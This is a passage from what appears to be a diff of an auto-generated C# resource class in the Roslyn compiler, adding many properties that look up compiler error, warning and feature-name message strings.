static string ERR_ExportedTypesConflict => GetResourceString("ERR_ExportedTypesConflict"); + + internal static string ERR_ForwardedTypeConflictsWithDeclaration => GetResourceString("ERR_ForwardedTypeConflictsWithDeclaration"); + + internal static string ERR_ForwardedTypesConflict => GetResourceString("ERR_ForwardedTypesConflict"); + + internal static string ERR_ForwardedTypeConflictsWithExportedType => GetResourceString("ERR_ForwardedTypeConflictsWithExportedType"); + + internal static string WRN_RefCultureMismatch => GetResourceString("WRN_RefCultureMismatch"); + + internal static string WRN_RefCultureMismatch_Title => GetResourceString("WRN_RefCultureMismatch_Title"); + + internal static string ERR_AgnosticToMachineModule => GetResourceString("ERR_AgnosticToMachineModule"); + + internal static string ERR_ConflictingMachineModule => GetResourceString("ERR_ConflictingMachineModule"); + + internal static string WRN_ConflictingMachineAssembly => GetResourceString("WRN_ConflictingMachineAssembly"); + + internal static string WRN_ConflictingMachineAssembly_Title => GetResourceString("WRN_ConflictingMachineAssembly_Title"); + + internal static string ERR_CryptoHashFailed => GetResourceString("ERR_CryptoHashFailed"); + + internal static string ERR_MissingNetModuleReference => GetResourceString("ERR_MissingNetModuleReference"); + + internal static string ERR_NetModuleNameMustBeUnique => GetResourceString("ERR_NetModuleNameMustBeUnique"); + + internal static string ERR_CantReadConfigFile => GetResourceString("ERR_CantReadConfigFile"); + + internal static string ERR_EncNoPIAReference => GetResourceString("ERR_EncNoPIAReference"); + + internal static string ERR_EncReferenceToAddedMember => GetResourceString("ERR_EncReferenceToAddedMember"); + + internal static string ERR_MutuallyExclusiveOptions => GetResourceString("ERR_MutuallyExclusiveOptions"); + + internal static string ERR_LinkedNetmoduleMetadataMustProvideFullPEImage => GetResourceString("ERR_LinkedNetmoduleMetadataMustProvideFullPEImage"); + + internal static string ERR_BadPrefer32OnLib => GetResourceString("ERR_BadPrefer32OnLib"); + + internal static string IDS_PathList => GetResourceString("IDS_PathList"); + + internal static string IDS_Text => GetResourceString("IDS_Text"); + + internal static string IDS_FeatureNullPropagatingOperator => GetResourceString("IDS_FeatureNullPropagatingOperator"); + + internal static string IDS_FeatureExpressionBodiedMethod => GetResourceString("IDS_FeatureExpressionBodiedMethod"); + + internal static string IDS_FeatureExpressionBodiedProperty => GetResourceString("IDS_FeatureExpressionBodiedProperty"); + + internal static string IDS_FeatureExpressionBodiedIndexer => GetResourceString("IDS_FeatureExpressionBodiedIndexer"); + + internal static string IDS_FeatureAutoPropertyInitializer => GetResourceString("IDS_FeatureAutoPropertyInitializer"); + + internal static string IDS_Namespace1 => GetResourceString("IDS_Namespace1"); + + internal static string IDS_FeatureRefLocalsReturns => GetResourceString("IDS_FeatureRefLocalsReturns"); + + internal static string IDS_FeatureReadOnlyReferences => GetResourceString("IDS_FeatureReadOnlyReferences"); + + internal static string IDS_FeatureRefStructs => GetResourceString("IDS_FeatureRefStructs"); + + internal static string IDS_FeatureRefConditional => GetResourceString("IDS_FeatureRefConditional"); + + internal static string IDS_FeatureRefReassignment => GetResourceString("IDS_FeatureRefReassignment"); + + internal static string IDS_FeatureRefFor => GetResourceString("IDS_FeatureRefFor"); + + internal static string IDS_FeatureRefForEach => GetResourceString("IDS_FeatureRefForEach"); + + internal static string IDS_FeatureExtensibleFixedStatement => GetResourceString("IDS_FeatureExtensibleFixedStatement"); + + internal static string CompilationC => GetResourceString("CompilationC"); + + internal static string SyntaxNodeIsNotWithinSynt => GetResourceString("SyntaxNodeIsNotWithinSynt"); + + internal static string LocationMustBeProvided => GetResourceString("LocationMustBeProvided"); + + internal static string SyntaxTreeSemanticModelMust => GetResourceString("SyntaxTreeSemanticModelMust"); + + internal static string CantReferenceCompilationOf => GetResourceString("CantReferenceCompilationOf"); + + internal static string SyntaxTreeAlreadyPresent => GetResourceString("SyntaxTreeAlreadyPresent"); + + internal static string SubmissionCanOnlyInclude => GetResourceString("SubmissionCanOnlyInclude"); + + internal static string SubmissionCanHaveAtMostOne => GetResourceString("SubmissionCanHaveAtMostOne"); + + internal static string SyntaxTreeNotFoundToRemove => GetResourceString("SyntaxTreeNotFoundToRemove"); + + internal static string TreeMustHaveARootNodeWith => GetResourceString("TreeMustHaveARootNodeWith"); + + internal static string TypeArgumentCannotBeNull => GetResourceString("TypeArgumentCannotBeNull"); + + internal static string WrongNumberOfTypeArguments => GetResourceString("WrongNumberOfTypeArguments"); + + internal static string NameConflictForName => GetResourceString("NameConflictForName"); + + internal static string LookupOptionsHasInvalidCombo => GetResourceString("LookupOptionsHasInvalidCombo"); + + internal static string ItemsMustBeNonEmpty => GetResourceString("ItemsMustBeNonEmpty"); + + internal static string UseVerbatimIdentifier => GetResourceString("UseVerbatimIdentifier"); + + internal static string UseLiteralForTokens => GetResourceString("UseLiteralForTokens"); + + internal static string UseLiteralForNumeric => GetResourceString("UseLiteralForNumeric"); + + internal static string ThisMethodCanOnlyBeUsedToCreateTokens => GetResourceString("ThisMethodCanOnlyBeUsedToCreateTokens"); + + internal static string GenericParameterDefinition => GetResourceString("GenericParameterDefinition"); + + internal static string InvalidGetDeclarationNameMultipleDeclarators => GetResourceString("InvalidGetDeclarationNameMultipleDeclarators"); + + internal static string PositionIsNotWithinSyntax => GetResourceString("PositionIsNotWithinSyntax"); + + internal static string WRN_BadUILang => GetResourceString("WRN_BadUILang"); + + internal static string WRN_BadUILang_Title => GetResourceString("WRN_BadUILang_Title"); + + internal static string ERR_UnsupportedTransparentIdentifierAccess => GetResourceString("ERR_UnsupportedTransparentIdentifierAccess"); + + internal static string ERR_ParamDefaultValueDiffersFromAttribute => GetResourceString("ERR_ParamDefaultValueDiffersFromAttribute"); + + internal static string ERR_FieldHasMultipleDistinctConstantValues => GetResourceString("ERR_FieldHasMultipleDistinctConstantValues"); + + internal static string WRN_UnqualifiedNestedTypeInCref => GetResourceString("WRN_UnqualifiedNestedTypeInCref"); + + internal static string WRN_UnqualifiedNestedTypeInCref_Title => GetResourceString("WRN_UnqualifiedNestedTypeInCref_Title"); + + internal static string NotACSharpSymbol => GetResourceString("NotACSharpSymbol"); + + internal static string HDN_UnusedUsingDirective => GetResourceString("HDN_UnusedUsingDirective"); + + internal static string HDN_UnusedExternAlias => GetResourceString("HDN_UnusedExternAlias"); + + internal static string ElementsCannotBeNull => GetResourceString("ElementsCannotBeNull"); + + internal static string IDS_LIB_ENV => GetResourceString("IDS_LIB_ENV"); + + internal static string IDS_LIB_OPTION => GetResourceString("IDS_LIB_OPTION"); + + internal static string IDS_REFERENCEPATH_OPTION => GetResourceString("IDS_REFERENCEPATH_OPTION"); + + internal static string IDS_DirectoryDoesNotExist => GetResourceString("IDS_DirectoryDoesNotExist"); + + internal static string IDS_DirectoryHasInvalidPath => GetResourceString("IDS_DirectoryHasInvalidPath"); + + internal static string WRN_NoRuntimeMetadataVersion => GetResourceString("WRN_NoRuntimeMetadataVersion"); + + internal static string WRN_NoRuntimeMetadataVersion_Title => GetResourceString("WRN_NoRuntimeMetadataVersion_Title"); + + internal static string WrongSemanticModelType => GetResourceString("WrongSemanticModelType"); + + internal static string IDS_FeatureLambda => GetResourceString("IDS_FeatureLambda"); + + internal static string ERR_FeatureNotAvailableInVersion1 => GetResourceString("ERR_FeatureNotAvailableInVersion1"); + + internal static string ERR_FeatureNotAvailableInVersion2 => GetResourceString("ERR_FeatureNotAvailableInVersion2"); + + internal static string ERR_FeatureNotAvailableInVersion3 => GetResourceString("ERR_FeatureNotAvailableInVersion3"); + + internal static string ERR_FeatureNotAvailableInVersion4 => GetResourceString("ERR_FeatureNotAvailableInVersion4"); + + internal static string ERR_FeatureNotAvailableInVersion5 => GetResourceString("ERR_FeatureNotAvailableInVersion5"); + + internal static string ERR_FeatureNotAvailableInVersion6 => GetResourceString("ERR_FeatureNotAvailableInVersion6"); + + internal static string ERR_FeatureNotAvailableInVersion7 => GetResourceString("ERR_FeatureNotAvailableInVersion7"); + + internal static string ERR_FeatureIsExperimental => GetResourceString("ERR_FeatureIsExperimental"); + + internal static string IDS_VersionExperimental => GetResourceString("IDS_VersionExperimental"); + + internal static string PositionNotWithinTree => GetResourceString("PositionNotWithinTree"); + + internal static string SpeculatedSyntaxNodeCannotBelongToCurrentCompilation => GetResourceString("SpeculatedSyntaxNodeCannotBelongToCurrentCompilation"); + + internal static string ChainingSpeculativeModelIsNotSupported => GetResourceString("ChainingSpeculativeModelIsNotSupported"); + + internal static string IDS_ToolName => GetResourceString("IDS_ToolName"); + + internal static string IDS_LogoLine1 => GetResourceString("IDS_LogoLine1"); + + internal static string IDS_LogoLine2 => GetResourceString("IDS_LogoLine2"); + + internal static string IDS_LangVersions => GetResourceString("IDS_LangVersions"); + + internal static string IDS_CSCHelp => GetResourceString("IDS_CSCHelp"); + + internal static string ERR_ComImportWithInitializers => GetResourceString("ERR_ComImportWithInitializers"); + + internal static string WRN_PdbLocalNameTooLong => GetResourceString("WRN_PdbLocalNameTooLong"); + + internal static string WRN_PdbLocalNameTooLong_Title => GetResourceString("WRN_PdbLocalNameTooLong_Title"); + + internal static string ERR_RetNoObjectRequiredLambda => GetResourceString("ERR_RetNoObjectRequiredLambda"); + + internal static string ERR_TaskRetNoObjectRequiredLambda => GetResourceString("ERR_TaskRetNoObjectRequiredLambda"); + + internal static string WRN_AnalyzerCannotBeCreated => GetResourceString("WRN_AnalyzerCannotBeCreated"); + + internal static string WRN_AnalyzerCannotBeCreated_Title => GetResourceString("WRN_AnalyzerCannotBeCreated_Title"); + + internal static string WRN_NoAnalyzerInAssembly => GetResourceString("WRN_NoAnalyzerInAssembly"); + + internal static string WRN_NoAnalyzerInAssembly_Title => GetResourceString("WRN_NoAnalyzerInAssembly_Title"); + + internal static string WRN_UnableToLoadAnalyzer => GetResourceString("WRN_UnableToLoadAnalyzer"); + + internal static string WRN_UnableToLoadAnalyzer_Title => GetResourceString("WRN_UnableToLoadAnalyzer_Title"); + + internal static string INF_UnableToLoadSomeTypesInAnalyzer => GetResourceString("INF_UnableToLoadSomeTypesInAnalyzer"); + + internal static string ERR_CantReadRulesetFile => GetResourceString("ERR_CantReadRulesetFile"); + + internal static string ERR_BadPdbData => GetResourceString("ERR_BadPdbData"); + + internal static string IDS_OperationCausedStackOverflow => GetResourceString("IDS_OperationCausedStackOverflow"); + + internal static string WRN_IdentifierOrNumericLiteralExpected => GetResourceString("WRN_IdentifierOrNumericLiteralExpected"); + + internal static string WRN_IdentifierOrNumericLiteralExpected_Title => GetResourceString("WRN_IdentifierOrNumericLiteralExpected_Title"); + + internal static string ERR_InitializerOnNonAutoProperty => GetResourceString("ERR_InitializerOnNonAutoProperty"); + + internal static string ERR_InstancePropertyInitializerInInterface => GetResourceString("ERR_InstancePropertyInitializerInInterface"); + + internal static string ERR_AutoPropertyMustHaveGetAccessor => GetResourceString("ERR_AutoPropertyMustHaveGetAccessor"); + + internal static string ERR_AutoPropertyMustOverrideSet => GetResourceString("ERR_AutoPropertyMustOverrideSet"); + + internal static string ERR_InitializerInStructWithoutExplicitConstructor => GetResourceString("ERR_InitializerInStructWithoutExplicitConstructor"); + + internal static string ERR_EncodinglessSyntaxTree => GetResourceString("ERR_EncodinglessSyntaxTree"); + + internal static string ERR_BlockBodyAndExpressionBody => GetResourceString("ERR_BlockBodyAndExpressionBody"); + + internal static string ERR_SwitchFallOut => GetResourceString("ERR_SwitchFallOut"); + + internal static string ERR_UnexpectedBoundGenericName => GetResourceString("ERR_UnexpectedBoundGenericName"); + + internal static string ERR_NullPropagatingOpInExpressionTree => GetResourceString("ERR_NullPropagatingOpInExpressionTree"); + + internal static string ERR_DictionaryInitializerInExpressionTree => GetResourceString("ERR_DictionaryInitializerInExpressionTree"); + + internal static string ERR_ExtensionCollectionElementInitializerInExpressionTree => GetResourceString("ERR_ExtensionCollectionElementInitializerInExpressionTree"); + + internal static string IDS_FeatureNameof => GetResourceString("IDS_FeatureNameof"); + + internal static string IDS_FeatureDictionaryInitializer => GetResourceString("IDS_FeatureDictionaryInitializer"); + + internal static string ERR_UnclosedExpressionHole => GetResourceString("ERR_UnclosedExpressionHole"); + + internal static string ERR_SingleLineCommentInExpressionHole => GetResourceString("ERR_SingleLineCommentInExpressionHole"); + + internal static string ERR_InsufficientStack => GetResourceString("ERR_InsufficientStack"); + + internal static string ERR_ExpressionHasNoName => GetResourceString("ERR_ExpressionHasNoName"); + + internal static string ERR_SubexpressionNotInNameof => GetResourceString("ERR_SubexpressionNotInNameof"); + + internal static string ERR_AliasQualifiedNameNotAnExpression => GetResourceString("ERR_AliasQualifiedNameNotAnExpression"); + + internal static string ERR_NameofMethodGroupWithTypeParameters => GetResourceString("ERR_NameofMethodGroupWithTypeParameters"); + + internal static string NoNoneSearchCriteria => GetResourceString("NoNoneSearchCriteria"); + + internal static string ERR_InvalidAssemblyCulture => GetResourceString("ERR_InvalidAssemblyCulture"); + + internal static string IDS_FeatureUsingStatic => GetResourceString("IDS_FeatureUsingStatic"); + + internal static string IDS_FeatureInterpolatedStrings => GetResourceString("IDS_FeatureInterpolatedStrings"); + + internal static string IDS_FeatureAltInterpolatedVerbatimStrings => GetResourceString("IDS_FeatureAltInterpolatedVerbatimStrings"); + + internal static string IDS_AwaitInCatchAndFinally => GetResourceString("IDS_AwaitInCatchAndFinally"); + + internal static string IDS_FeatureBinaryLiteral => GetResourceString("IDS_FeatureBinaryLiteral"); + + internal static string IDS_FeatureDigitSeparator => GetResourceString("IDS_FeatureDigitSeparator"); + + internal static string IDS_FeatureLocalFunctions => GetResourceString("IDS_FeatureLocalFunctions"); + + internal static string ERR_UnescapedCurly => GetResourceString("ERR_UnescapedCurly"); + + internal static string ERR_EscapedCurly => GetResourceString("ERR_EscapedCurly"); + + internal static string ERR_TrailingWhitespaceInFormatSpecifier => GetResourceString("ERR_TrailingWhitespaceInFormatSpecifier"); + + internal static string ERR_EmptyFormatSpecifier => GetResourceString("ERR_EmptyFormatSpecifier"); + + internal static string ERR_ErrorInReferencedAssembly => GetResourceString("ERR_ErrorInReferencedAssembly"); + + internal static string ERR_ExpressionOrDeclarationExpected => GetResourceString("ERR_ExpressionOrDeclarationExpected"); + + internal static string ERR_NameofExtensionMethod => GetResourceString("ERR_NameofExtensionMethod"); + + internal static string WRN_AlignmentMagnitude => GetResourceString("WRN_AlignmentMagnitude"); + + internal static string HDN_UnusedExternAlias_Title => GetResourceString("HDN_UnusedExternAlias_Title"); + + internal static string HDN_UnusedUsingDirective_Title => GetResourceString("HDN_UnusedUsingDirective_Title"); + + internal static string INF_UnableToLoadSomeTypesInAnalyzer_Title => GetResourceString("INF_UnableToLoadSomeTypesInAnalyzer_Title"); + + internal static string WRN_AlignmentMagnitude_Title => GetResourceString("WRN_AlignmentMagnitude_Title"); + + internal static string ERR_ConstantStringTooLong => GetResourceString("ERR_ConstantStringTooLong"); + + internal static string ERR_TupleTooFewElements => GetResourceString("ERR_TupleTooFewElements"); + + internal static string ERR_DebugEntryPointNotSourceMethodDefinition => GetResourceString("ERR_DebugEntryPointNotSourceMethodDefinition"); + + internal static string ERR_LoadDirectiveOnlyAllowedInScripts => GetResourceString("ERR_LoadDirectiveOnlyAllowedInScripts"); + + internal static string ERR_PPLoadFollowsToken => GetResourceString("ERR_PPLoadFollowsToken"); + + internal static string CouldNotFindFile => GetResourceString("CouldNotFindFile"); + + internal static string SyntaxTreeFromLoadNoRemoveReplace => GetResourceString("SyntaxTreeFromLoadNoRemoveReplace"); + + internal static string ERR_SourceFileReferencesNotSupported => GetResourceString("ERR_SourceFileReferencesNotSupported"); + + internal static string ERR_InvalidPathMap => GetResourceString("ERR_InvalidPathMap"); + + internal static string ERR_InvalidReal => GetResourceString("ERR_InvalidReal"); + + internal static string ERR_AutoPropertyCannotBeRefReturning => GetResourceString("ERR_AutoPropertyCannotBeRefReturning"); + + internal static string ERR_RefPropertyMustHaveGetAccessor => GetResourceString("ERR_RefPropertyMustHaveGetAccessor"); + + internal static string ERR_RefPropertyCannotHaveSetAccessor => GetResourceString("ERR_RefPropertyCannotHaveSetAccessor"); + + internal static string ERR_CantChangeRefReturnOnOverride => GetResourceString("ERR_CantChangeRefReturnOnOverride"); + + internal static string ERR_CantChangeInitOnlyOnOverride => GetResourceString("ERR_CantChangeInitOnlyOnOverride"); + + internal static string ERR_MustNotHaveRefReturn => GetResourceString("ERR_MustNotHaveRefReturn"); + + internal static string ERR_MustHaveRefReturn => GetResourceString("ERR_MustHaveRefReturn"); + + internal static string ERR_RefReturnMustHaveIdentityConversion => GetResourceString("ERR_RefReturnMustHaveIdentityConversion"); + + internal static string ERR_CloseUnimplementedInterfaceMemberWrongRefReturn => GetResourceString("ERR_CloseUnimplementedInterfaceMemberWrongRefReturn"); + + internal static string ERR_CloseUnimplementedInterfaceMemberWrongInitOnly => GetResourceString("ERR_CloseUnimplementedInterfaceMemberWrongInitOnly"); + + internal static string ERR_BadIteratorReturnRef => GetResourceString("ERR_BadIteratorReturnRef"); + + internal static string ERR_BadRefReturnExpressionTree => GetResourceString("ERR_BadRefReturnExpressionTree"); + + internal static string ERR_RefReturningCallInExpressionTree => GetResourceString("ERR_RefReturningCallInExpressionTree"); + + internal static string ERR_RefReturnLvalueExpected => GetResourceString("ERR_RefReturnLvalueExpected"); + + internal static string ERR_RefReturnNonreturnableLocal => GetResourceString("ERR_RefReturnNonreturnableLocal"); + + internal static string ERR_RefReturnNonreturnableLocal2 => GetResourceString("ERR_RefReturnNonreturnableLocal2"); + + internal static string WRN_RefReturnNonreturnableLocal => GetResourceString("WRN_RefReturnNonreturnableLocal"); + + internal static string WRN_RefReturnNonreturnableLocal_Title => GetResourceString("WRN_RefReturnNonreturnableLocal_Title"); + + internal static string WRN_RefReturnNonreturnableLocal2 => GetResourceString("WRN_RefReturnNonreturnableLocal2"); + + internal static string WRN_RefReturnNonreturnableLocal2_Title => GetResourceString("WRN_RefReturnNonreturnableLocal2_Title"); + + internal static string ERR_RefReturnReadonlyLocal => GetResourceString("ERR_RefReturnReadonlyLocal"); + + internal static string ERR_RefReturnRangeVariable => GetResourceString("ERR_RefReturnRangeVariable"); + + internal static string ERR_RefReturnReadonlyLocalCause => GetResourceString("ERR_RefReturnReadonlyLocalCause"); + + internal static string ERR_RefReturnReadonly => GetResourceString("ERR_RefReturnReadonly"); + + internal static string ERR_RefReturnReadonlyStatic => GetResourceString("ERR_RefReturnReadonlyStatic"); + + internal static string ERR_RefReturnReadonly2 => GetResourceString("ERR_RefReturnReadonly2"); + + internal static string ERR_RefReturnReadonlyStatic2 => GetResourceString("ERR_RefReturnReadonlyStatic2"); + + internal static string ERR_RefReturnParameter => GetResourceString("ERR_RefReturnParameter"); + + internal static string ERR_RefReturnParameter2 => GetResourceString("ERR_RefReturnParameter2"); + + internal static string ERR_RefReturnScopedParameter => GetResourceString("ERR_RefReturnScopedParameter"); + + internal static string ERR_RefReturnScopedParameter2 => GetResourceString("ERR_RefReturnScopedParameter2"); + + internal static string ERR_RefReturnOnlyParameter => GetResourceString("ERR_RefReturnOnlyParameter"); + + internal static string ERR_RefReturnOnlyParameter2 => GetResourceString("ERR_RefReturnOnlyParameter2"); + + internal static string WRN_RefReturnOnlyParameter => GetResourceString("WRN_RefReturnOnlyParameter"); + + internal static string WRN_RefReturnOnlyParameter_Title => GetResourceString("WRN_RefReturnOnlyParameter_Title"); + + internal static string WRN_RefReturnOnlyParameter2 => GetResourceString("WRN_RefReturnOnlyParameter2"); + + internal static string WRN_RefReturnOnlyParameter2_Title => GetResourceString("WRN_RefReturnOnlyParameter2_Title"); + + internal static string WRN_RefReturnParameter => GetResourceString("WRN_RefReturnParameter"); + + internal static string WRN_RefReturnParameter_Title => GetResourceString("WRN_RefReturnParameter_Title"); + + internal static string WRN_RefReturnScopedParameter => GetResourceString("WRN_RefReturnScopedParameter"); + + internal static string WRN_RefReturnScopedParameter_Title => GetResourceString("WRN_RefReturnScopedParameter_Title"); + + internal static string WRN_RefReturnParameter2 => GetResourceString("WRN_RefReturnParameter2"); + + internal static string WRN_RefReturnParameter2_Title => GetResourceString("WRN_RefReturnParameter2_Title"); + + internal static string WRN_RefReturnScopedParameter2 => GetResourceString("WRN_RefReturnScopedParameter2"); + + internal static string WRN_RefReturnScopedParameter2_Title => GetResourceString("WRN_RefReturnScopedParameter2_Title"); + + internal static string ERR_RefReturnLocal => GetResourceString("ERR_RefReturnLocal"); + + internal static string ERR_RefReturnLocal2 => GetResourceString("ERR_RefReturnLocal2"); + + internal static string WRN_RefReturnLocal => GetResourceString("WRN_RefReturnLocal"); + + internal static string WRN_RefReturnLocal_Title => GetResourceString("WRN_RefReturnLocal_Title"); + + internal static string WRN_RefReturnLocal2 => GetResourceString("WRN_RefReturnLocal2"); + + internal static string WRN_RefReturnLocal2_Title => GetResourceString("WRN_RefReturnLocal2_Title"); + + internal static string ERR_RefReturnStructThis => GetResourceString("ERR_RefReturnStructThis"); + + internal static string WRN_RefReturnStructThis => GetResourceString("WRN_RefReturnStructThis"); + + internal static string WRN_RefReturnStructThis_Title => GetResourceString("WRN_RefReturnStructThis_Title"); + + internal static string ERR_EscapeOther => GetResourceString("ERR_EscapeOther"); + + internal static string ERR_EscapeVariable => GetResourceString("ERR_EscapeVariable"); + + internal static string WRN_EscapeVariable => GetResourceString("WRN_EscapeVariable"); + + internal static string WRN_EscapeVariable_Title => GetResourceString("WRN_EscapeVariable_Title"); + + internal static string ERR_EscapeCall => GetResourceString("ERR_EscapeCall"); + + internal static string ERR_EscapeCall2 => GetResourceString("ERR_EscapeCall2"); + + internal static string WRN_EscapeCall => GetResourceString("WRN_EscapeCall"); + + internal static string WRN_EscapeCall_Title => GetResourceString("WRN_EscapeCall_Title"); + + internal static string WRN_EscapeCall2 => GetResourceString("WRN_EscapeCall2"); + + internal static string WRN_EscapeCall2_Title => GetResourceString("WRN_EscapeCall2_Title"); + + internal static string ERR_CallArgMixing => GetResourceString("ERR_CallArgMixing"); + + internal static string WRN_CallArgMixing => GetResourceString("WRN_CallArgMixing"); + + internal static string WRN_CallArgMixing_Title => GetResourceString("WRN_CallArgMixing_Title"); + + internal static string ERR_MismatchedRefEscapeInTernary => GetResourceString("ERR_MismatchedRefEscapeInTernary"); + + internal static string WRN_MismatchedRefEscapeInTernary => GetResourceString("WRN_MismatchedRefEscapeInTernary"); + + internal static string WRN_MismatchedRefEscapeInTernary_Title => GetResourceString("WRN_MismatchedRefEscapeInTernary_Title"); + + internal static string ERR_EscapeStackAlloc => GetResourceString("ERR_EscapeStackAlloc"); + + internal static string WRN_EscapeStackAlloc => GetResourceString("WRN_EscapeStackAlloc"); + + internal static string WRN_EscapeStackAlloc_Title => GetResourceString("WRN_EscapeStackAlloc_Title"); + + internal static string ERR_InitializeByValueVariableWithReference => GetResourceString("ERR_InitializeByValueVariableWithReference"); + + internal static string ERR_InitializeByReferenceVariableWithValue => GetResourceString("ERR_InitializeByReferenceVariableWithValue"); + + internal static string ERR_RefAssignmentMustHaveIdentityConversion => GetResourceString("ERR_RefAssignmentMustHaveIdentityConversion"); + + internal static string ERR_ByReferenceVariableMustBeInitialized => GetResourceString("ERR_ByReferenceVariableMustBeInitialized"); + + internal static string ERR_AnonDelegateCantUseLocal => GetResourceString("ERR_AnonDelegateCantUseLocal"); + + internal static string ERR_BadIteratorLocalType => GetResourceString("ERR_BadIteratorLocalType"); + + internal static string ERR_BadAsyncLocalType => GetResourceString("ERR_BadAsyncLocalType"); + + internal static string ERR_RefReturningCallAndAwait => GetResourceString("ERR_RefReturningCallAndAwait"); + + internal static string ERR_RefConditionalAndAwait => GetResourceString("ERR_RefConditionalAndAwait"); + + internal static string ERR_RefConditionalNeedsTwoRefs => GetResourceString("ERR_RefConditionalNeedsTwoRefs"); + + internal static string ERR_RefConditionalDifferentTypes => GetResourceString("ERR_RefConditionalDifferentTypes"); + + internal static string ERR_ExpressionTreeContainsLocalFunction => GetResourceString("ERR_ExpressionTreeContainsLocalFunction"); + + internal static string ERR_DynamicLocalFunctionParamsParameter => GetResourceString("ERR_DynamicLocalFunctionParamsParameter"); + + internal static string SyntaxTreeIsNotASubmission => GetResourceString("SyntaxTreeIsNotASubmission"); + + internal static string ERR_TooManyUserStrings => GetResourceString("ERR_TooManyUserStrings"); + + internal static string ERR_PatternNullableType => GetResourceString("ERR_PatternNullableType"); + + internal static string ERR_IsNullableType => GetResourceString("ERR_IsNullableType"); + + internal static string ERR_AsNullableType => GetResourceString("ERR_AsNullableType"); + + internal static string ERR_BadPatternExpression => GetResourceString("ERR_BadPatternExpression"); + + internal static string ERR_PeWritingFailure => GetResourceString("ERR_PeWritingFailure"); + + internal static string ERR_TupleDuplicateElementName => GetResourceString("ERR_TupleDuplicateElementName"); + + internal static string ERR_TupleReservedElementName => GetResourceString("ERR_TupleReservedElementName"); + + internal static string ERR_TupleReservedElementNameAnyPosition => GetResourceString("ERR_TupleReservedElementNameAnyPosition"); + + internal static string ERR_PredefinedTypeMemberNotFoundInAssembly => GetResourceString("ERR_PredefinedTypeMemberNotFoundInAssembly"); + + internal static string IDS_FeatureTuples => GetResourceString("IDS_FeatureTuples"); + + internal static string ERR_MissingDeconstruct => GetResourceString("ERR_MissingDeconstruct"); + + internal static string ERR_DeconstructRequiresExpression => GetResourceString("ERR_DeconstructRequiresExpression"); + + internal static string ERR_SwitchExpressionValueExpected => GetResourceString("ERR_SwitchExpressionValueExpected"); + + internal static string ERR_SwitchCaseSubsumed => GetResourceString("ERR_SwitchCaseSubsumed"); + + internal static string ERR_StdInOptionProvidedButConsoleInputIsNotRedirected => GetResourceString("ERR_StdInOptionProvidedButConsoleInputIsNotRedirected"); + + internal static string ERR_SwitchArmSubsumed => GetResourceString("ERR_SwitchArmSubsumed"); + + internal static string ERR_PatternWrongType => GetResourceString("ERR_PatternWrongType"); + + internal static string ERR_ConstantPatternVsOpenType => GetResourceString("ERR_ConstantPatternVsOpenType"); + + internal static string WRN_AttributeIgnoredWhenPublicSigning => GetResourceString("WRN_AttributeIgnoredWhenPublicSigning"); + + internal static string WRN_AttributeIgnoredWhenPublicSigning_Title => GetResourceString("WRN_AttributeIgnoredWhenPublicSigning_Title"); + + internal static string ERR_OptionMustBeAbsolutePath => GetResourceString("ERR_OptionMustBeAbsolutePath"); + + internal static string ERR_ConversionNotTupleCompatible => GetResourceString("ERR_ConversionNotTupleCompatible"); + + internal static string IDS_FeatureOutVar => GetResourceString("IDS_FeatureOutVar"); + + internal static string ERR_ImplicitlyTypedOutVariableUsedInTheSameArgumentList => GetResourceString("ERR_ImplicitlyTypedOutVariableUsedInTheSameArgumentList"); + + internal static string ERR_TypeInferenceFailedForImplicitlyTypedOutVariable => GetResourceString("ERR_TypeInferenceFailedForImplicitlyTypedOutVariable"); + + internal static string ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable => GetResourceString("ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable"); + + internal static string ERR_DiscardTypeInferenceFailed => GetResourceString("ERR_DiscardTypeInferenceFailed"); + + internal static string ERR_DeconstructWrongCardinality => GetResourceString("ERR_DeconstructWrongCardinality"); + + internal static string ERR_CannotDeconstructDynamic => GetResourceString("ERR_CannotDeconstructDynamic"); + + internal static string ERR_DeconstructTooFewElements => GetResourceString("ERR_DeconstructTooFewElements"); + + internal static string WRN_TupleLiteralNameMismatch => GetResourceString("WRN_TupleLiteralNameMismatch"); + + internal static string WRN_TupleLiteralNameMismatch_Title => GetResourceString("WRN_TupleLiteralNameMismatch_Title"); + + internal static string WRN_TupleBinopLiteralNameMismatch => GetResourceString("WRN_TupleBinopLiteralNameMismatch"); + + internal static string WRN_TupleBinopLiteralNameMismatch_Title => GetResourceString("WRN_TupleBinopLiteralNameMismatch_Title"); + + internal static string ERR_PredefinedValueTupleTypeMustBeStruct => GetResourceString("ERR_PredefinedValueTupleTypeMustBeStruct"); + + internal static string ERR_NewWithTupleTypeSyntax => GetResourceString("ERR_NewWithTupleTypeSyntax"); + + internal static string ERR_DeconstructionVarFormDisallowsSpecificType => GetResourceString("ERR_DeconstructionVarFormDisallowsSpecificType"); + + internal static string ERR_TupleElementNamesAttributeMissing => GetResourceString("ERR_TupleElementNamesAttributeMissing"); + + internal static string ERR_ExplicitTupleElementNamesAttribute => GetResourceString("ERR_ExplicitTupleElementNamesAttribute"); + + internal static string ERR_ExpressionTreeContainsOutVariable => GetResourceString("ERR_ExpressionTreeContainsOutVariable"); + + internal static string ERR_ExpressionTreeContainsDiscard => GetResourceString("ERR_ExpressionTreeContainsDiscard"); + + internal static string ERR_ExpressionTreeContainsIsMatch => GetResourceString("ERR_ExpressionTreeContainsIsMatch"); + + internal static string ERR_ExpressionTreeContainsTupleLiteral => GetResourceString("ERR_ExpressionTreeContainsTupleLiteral"); + + internal static string ERR_ExpressionTreeContainsTupleConversion => GetResourceString("ERR_ExpressionTreeContainsTupleConversion"); + + internal static string ERR_SourceLinkRequiresPdb => GetResourceString("ERR_SourceLinkRequiresPdb"); + + internal static string ERR_CannotEmbedWithoutPdb => GetResourceString("ERR_CannotEmbedWithoutPdb"); + + internal static string ERR_InvalidInstrumentationKind => GetResourceString("ERR_InvalidInstrumentationKind"); + + internal static string ERR_InvalidHashAlgorithmName => GetResourceString("ERR_InvalidHashAlgorithmName"); + + internal static string ERR_VarInvocationLvalueReserved => GetResourceString("ERR_VarInvocationLvalueReserved"); + + internal static string ERR_SemiOrLBraceOrArrowExpected => GetResourceString("ERR_SemiOrLBraceOrArrowExpected"); + + internal static string ERR_ThrowMisplaced => GetResourceString("ERR_ThrowMisplaced"); + + internal static string ERR_DeclarationExpressionNotPermitted => GetResourceString("ERR_DeclarationExpressionNotPermitted"); + + internal static string ERR_MustDeclareForeachIteration => GetResourceString("ERR_MustDeclareForeachIteration"); + + internal static string ERR_TupleElementNamesInDeconstruction => 